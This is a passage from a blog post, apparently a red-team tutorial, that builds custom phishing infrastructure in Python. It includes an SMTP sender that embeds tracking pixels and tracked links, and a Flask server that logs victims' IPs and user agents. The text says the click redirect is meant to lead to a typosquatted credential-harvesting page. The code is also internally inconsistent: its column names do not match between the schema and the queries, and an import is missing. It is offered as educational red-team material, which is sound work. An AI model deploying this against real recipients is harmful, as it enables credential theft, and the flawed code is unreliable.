    <span class="n">tracked_link</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">TRACKING_DOMAIN</span><span class="si">}</span><span class="s">/track_click/</span><span class="si">{</span><span class="n">click_tracker_id</span><span class="si">}</span><span class="s">"</span>
    <span class="n">tracking_pixel</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'&lt;img src="</span><span class="si">{</span><span class="n">TRACKING_DOMAIN</span><span class="si">}</span><span class="s">/track_open/</span><span class="si">{</span><span class="n">open_tracker_id</span><span class="si">}</span><span class="s">" width="1" height="1"&gt;'</span>

    <span class="n">html_body</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""
    &lt;html&gt;
        &lt;body&gt;
            </span><span class="si">{</span><span class="n">body</span><span class="si">}</span><span class="s">
            </span><span class="si">{</span><span class="n">tracking_pixel</span><span class="si">}</span><span class="s">
        &lt;/body&gt;
    &lt;/html&gt;
    """</span>

    <span class="c1"># Create email message
</span>    <span class="n">msg</span> <span class="o">=</span> <span class="n">MIMEMultipart</span><span class="p">()</span>
    <span class="n">msg</span><span class="p">[</span><span class="s">'From'</span><span class="p">]</span> <span class="o">=</span> <span class="n">SENDER_EMAIL</span>
    <span class="n">msg</span><span class="p">[</span><span class="s">'To'</span><span class="p">]</span> <span class="o">=</span> <span class="n">recipient</span>
    <span class="n">msg</span><span class="p">[</span><span class="s">'Subject'</span><span class="p">]</span> <span class="o">=</span> <span class="n">subject</span>
    <span class="n">msg</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">MIMEText</span><span class="p">(</span><span class="n">html_body</span><span class="p">,</span> <span class="s">'html'</span><span class="p">))</span>

    <span class="c1"># Send email
</span>    <span class="k">try</span><span class="p">:</span>
        <span class="k">with</span> <span class="n">smtplib</span><span class="p">.</span><span class="n">SMTP_SSL</span><span class="p">(</span><span class="n">SMTP_SERVER</span><span class="p">,</span> <span class="n">SMTP_PORT</span><span class="p">,</span> <span class="n">context</span><span class="o">=</span><span class="n">ssl</span><span class="p">.</span><span class="n">create_default_context</span><span class="p">())</span> <span class="k">as</span> <span class="n">server</span><span class="p">:</span>
            <span class="n">server</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="n">SENDER_EMAIL</span><span class="p">,</span> <span class="n">SENDER_PASSWORD</span><span class="p">)</span>
            <span class="n">server</span><span class="p">.</span><span class="n">sendmail</span><span class="p">(</span><span class="n">SENDER_EMAIL</span><span class="p">,</span> <span class="n">recipient</span><span class="p">,</span> <span class="n">msg</span><span class="p">.</span><span class="n">as_string</span><span class="p">())</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Email sent to </span><span class="si">{</span><span class="n">recipient</span><span class="si">}</span><span class="s"> with RID </span><span class="si">{</span><span class="n">rid</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Error sending to </span><span class="si">{</span><span class="n">recipient</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p>This function, <code class="language-plaintext highlighter-rouge">send_tracked_email</code>, sends an email with tracking for opens and clicks:</p>

<p><strong>Logic</strong>:</p>

<ul>
  <li>
    <p>If no <code class="language-plaintext highlighter-rouge">body</code> is provided, a default link with <code class="language-plaintext highlighter-rouge">rid</code> is used.</p>
  </li>
  <li>
    <p>Generates unique <code class="language-plaintext highlighter-rouge">open_tracker_id</code> and <code class="language-plaintext highlighter-rouge">click_tracker_id</code> for tracking.</p>
  </li>
  <li>
    <p>Inserts tracking data (open/click events) into the local database.</p>
  </li>
  <li>
    <p>Creates an HTML email with the provided or default body, including tracking pixel (for open) and a tracked link (for click).</p>
  </li>
  <li>
    <p>Sends the email using SMTP with SSL, logging into the server with credentials.</p>
  </li>
</ul>

<p>In this case, Our “TRACKING_DOMAIN” would be the callback url where the following flask application will be hosted.</p>

<h5 id="flask-tracking-server">Flask Tracking Server</h5>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">Response</span>
<span class="kn">import</span> <span class="nn">sqlite3</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>

<span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'tracking.db'</span><span class="p">,</span> <span class="n">check_same_thread</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>

<span class="c1"># Drop existing table if it exists
</span><span class="n">c</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"DROP TABLE IF EXISTS tracking_data"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>

<span class="c1"># Create new table with correct schema
</span><span class="n">c</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'''CREATE TABLE IF NOT EXISTS tracking_data
             (id TEXT PRIMARY KEY,
              type TEXT,
              rid TEXT,
              timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
              user_agent TEXT,
              ip_address TEXT)'''</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/track_open/&lt;tracker_id&gt;'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">track_open</span><span class="p">(</span><span class="n">tracker_id</span><span class="p">):</span>
    <span class="c1"># Log the open event with client info
</span>    <span class="n">user_agent</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'User-Agent'</span><span class="p">)</span>
    <span class="n">ip_address</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">remote_addr</span>
    
    <span class="n">c</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'''INSERT INTO tracking_data 
                 (id, event_type, user_agent, ip_address) 
                 VALUES (?, ?, ?, ?)'''</span><span class="p">,</span>
              <span class="p">(</span><span class="n">tracker_id</span><span class="p">,</span> <span class="s">'open'</span><span class="p">,</span> <span class="n">user_agent</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">))</span>
    <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
    
    <span class="c1"># Return transparent 1x1 pixel
</span>    <span class="k">return</span> <span class="n">Response</span><span class="p">(</span>
        <span class="sa">b</span><span class="s">'</span><span class="se">\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b</span><span class="s">'</span><span class="p">,</span>
        <span class="n">mimetype</span><span class="o">=</span><span class="s">'image/gif'</span>
    <span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/track_click/&lt;tracker_id&gt;'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">track_click</span><span class="p">(</span><span class="n">tracker_id</span><span class="p">):</span>
    <span class="c1"># Log the click event
</span>    <span class="n">user_agent</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'User-Agent'</span><span class="p">)</span>
    <span class="n">ip_address</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">remote_addr</span>
    
    <span class="n">c</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'''INSERT INTO tracking_data 
                 (id, event_type, user_agent, ip_address) 
                 VALUES (?, ?, ?, ?)'''</span><span class="p">,</span>
              <span class="p">(</span><span class="n">tracker_id</span><span class="p">,</span> <span class="s">'click'</span><span class="p">,</span> <span class="n">user_agent</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">))</span>
    <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">"https://google.com"</span><span class="p">)</span> <span class="c1"># redirect wherever
</span>
</code></pre></div></div>

<p><strong>Routes</strong>:</p>

<ul>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">/track_open/&lt;tracker_id&gt;</code></strong>: This route tracks when an email is opened.</p>

    <ul>
      <li>
        <p>It logs the <code class="language-plaintext highlighter-rouge">tracker_id</code>, event type (<code class="language-plaintext highlighter-rouge">open</code>), user-agent, and IP address into the database.</p>
      </li>
      <li>
        <p>It returns a transparent 1x1 GIF image to the client</p>
      </li>
    </ul>
  </li>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">/track_click/&lt;tracker_id&gt;</code></strong>: This route tracks when a link is clicked.</p>

    <ul>
      <li>
        <p>It logs the <code class="language-plaintext highlighter-rouge">tracker_id</code>, event type (<code class="language-plaintext highlighter-rouge">click</code>), user-agent, and IP address into the database.</p>
      </li>
      <li>
        <p>After logging the click, it redirects the user to a pre-configured URL (in this case, <code class="language-plaintext highlighter-rouge">https://google.com</code>). This will be our typosquatted url, Where the user would enter they’re credentials.</p>
      </li>
    </ul>
  </li>
</ul>

<p>The entire system would look like the following:</p>

<p><img src="https://github.com/quantumcore/quantumcore.github.io/blob/master/_posts/Screenshot_20250410_151554.png?raw=true" alt="Screenshot_20250410_151554.png" /></p>

<p>To view the results without having to access the local sqlite database, lets add another endpoint in the flask app.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/opens'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">view_opens</span><span class="p">():</span>
    <span class="n">ip</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'ip'</span><span class="p">)</span>
    <span class="n">rid</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'rid'</span><span class="p">)</span>
    
    <span class="n">query</span> <span class="o">=</span> <span class="s">'''
        SELECT tracker_id, rid, ip_address, timestamp
        FROM tracking_data
        WHERE event_type = 'open'
    '''</span>
    <span class="n">conditions</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">params</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">if</span> <span class="n">ip</span><span class="p">:</span>
        <span class="n">conditions</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">"ip_address = ?"</span><span class="p">)</span>
        <span class="n">params</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">rid</span><span class="p">:</span>
        <span class="n">conditions</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">"rid = ?"</span><span class="p">)</span>
        <span class="n">params</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">rid</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">conditions</span><span class="p">:</span>
        <span class="n">query</span> <span class="o">+=</span> <span class="s">" AND "</span> <span class="o">+</span> <span class="s">" AND "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">conditions</span><span class="p">)</span>
    
    <span class="n">c</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="n">params</span><span class="p">)</span>
    <span class="n">opens</span> <span class="o">=</span> <span class="n">c</span><span class="p">.</span><span class="n">fetchall</span><span class="p">()</span>
    
    <span class="n">output</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">open_event</span> <span class="ow">in</span> <span class="n">opens</span><span class="p">:</span>
        <span class="n">tracker_id</span><span class="p">,</span> <span class="n">rid</span><span class="p">,</span> <span class="n">ip_addr</span><span class="p">,</span> <span class="n">timestamp</span> <span class="o">=</span> <span class="n">open_event</span>
        <span class="n">email</span> <span class="o">=</span> <span class="n">rid_to_email</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">rid</span><span class="p">,</span> <span class="s">'Email not found'</span><span class="p">)</span>
        <span class="n">output</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">f</span><span class="s">"Email with tracker ID </span><span class="si">{</span><span class="n">tracker_id</span><span class="si">}</span><span class="s"> (RID: </span><span class="si">{</span><span class="n">rid</span><span class="si">}</span><span class="s"> (</span><span class="si">{</span><span class="n">email</span><span class="si">}</span><span class="s">)) was opened by IP </span><span class="si">{</span><span class="n">ip_addr</span><span class="si">}</span><span class="s"> at </span><span class="si">{</span><span class="n">timestamp</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    
    <span class="k">return</span> <span class="sa">f</span><span class="s">"&lt;pre&gt;</span><span class="si">{</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">output</span><span class="p">)</span><span class="si">}</span><span class="s">&lt;/pre&gt;"</span>

</code></pre></div></div>

<p>And this is how the end result would look like, visting the flask app on /opens will show us the results.</p>

<p><img src="https://github.com/quantumcore/quantumcore.github.io/blob/master/_posts/image.png?raw=true" alt="image.pn" /></p>

<p><strong><em>In conclusion, while building a custom phishing infrastructure from scratch is an interesting and educational exercise, it’s important to note that it’s not as efficient or reliable as using a framework like GoPhish, which has been developed by a team of experts specifically for this purpose. GoPhish provides a streamlined, well-tested solution for phishing simulations.</em></strong></p>

<p>However, understanding the underlying processes and knowing how each step works is crucial for any red teamer. Gaining this insight not only enhances your ability to adapt and customize your approach but also deepens your understanding of the attack lifecycle, making you a more versatile and effective operator in the field.</p>

<p><img src="https://giffiles.alphacoders.com/120/120216.gif" alt="x" /></p>]]></content><author><name>Fahad</name></author><summary type="html"><![CDATA[]]></summary></entry></feed>